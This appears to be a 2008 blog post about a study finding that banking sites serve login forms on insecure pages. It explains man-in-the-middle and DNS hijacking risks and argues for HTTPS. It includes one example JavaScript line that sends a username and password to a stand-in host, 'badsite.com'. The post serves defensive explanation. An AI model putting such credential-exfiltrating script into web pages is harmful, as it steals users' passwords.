The results of a recent study on security design flaws in banking websites will be presented tomorrow at the Symposium on Usability and Privacy. The research was conducted by Dr. Atul Prakash, Laura Falk, and myself (Kevin Borders). It found that flaws, such as presenting login information on an insecure page, were widespread. What does this mean for the security of the internet at large? Will hackers routinely exploit these vulnerabilities to conduct widespread fraud in the future? And, the most important question: how do we fix it?

First, let us take a look at the extent of vulnerability due to a particular design flaw – presenting login information on an insecure page. The websites that presented login information on an insecure page still submitted the credentials over a secure connection. So, an attacker would need to act as a man-in-the-middle on the web session to exploit this flaw. Such access may not be as difficult as one might think. Passive listening on the path between a local DNS server and the authoritative DNS server for a domain enables DNS hijacking. A recent vulnerability in DNS that has existed for a long time makes this possible without access to the link. Regardless of how it’s done, intercepting and modifying traffic on the Internet – an untrusted network – has always been possible. It is the responsibility of endpoints to encrypt sensitive information.

How much damage can be done when a hacker does modify an insecure login page? The answer is that (almost) all bets for protecting your password are off, even if you are a trained security expert. Modern browsers will tell you the submit location when you hover over a “Login” button, including whether it is secure (HTTPS). One can also open the website source code with the “View Source” option on browsers or load it in an HTTP debugger to check where it will be submitting your password. However, these checks are not enough. Maliciously injected Javascript, Java, or Flash code has full access to the DOM tree, including the login credentials. It would be nearly impossible to determine whether any code might access this information. Once Javascript has obtained your password, it can immediately navigate to any website and transfer the password in the URL (e.g., document.location.href=’http://www.badsite.com/submit?yourusername&yourpassword). The only way to completely protect yourself from hackers stealing your password on an insecure page is to disable Javascript, Java, Flash, and any other plug-in, as well as check the page source code to make sure the login form points to a secure location – no small set of tasks.

What is the answer to all of this? It is quite simple: secure every website that serves or receives sensitive information with HTTPS. The recent DNS hijacking attacks combined with new findings about the prevalence of bank websites that do not employ the best security practices illustrate the severe insecurity of internet transactions today. When even the most diligent users are unable to be safe, it is time to rethink the way we design “secure” websites.

This entry was posted on Thursday, July 24th, 2008 at 12:59 pm and is filed under Usability, Web Applications, Authentication, Vulnerabilities, Articles. You can follow any responses to this entry through the RSS 2.0 feed. You can leave a response, or trackback from your own site.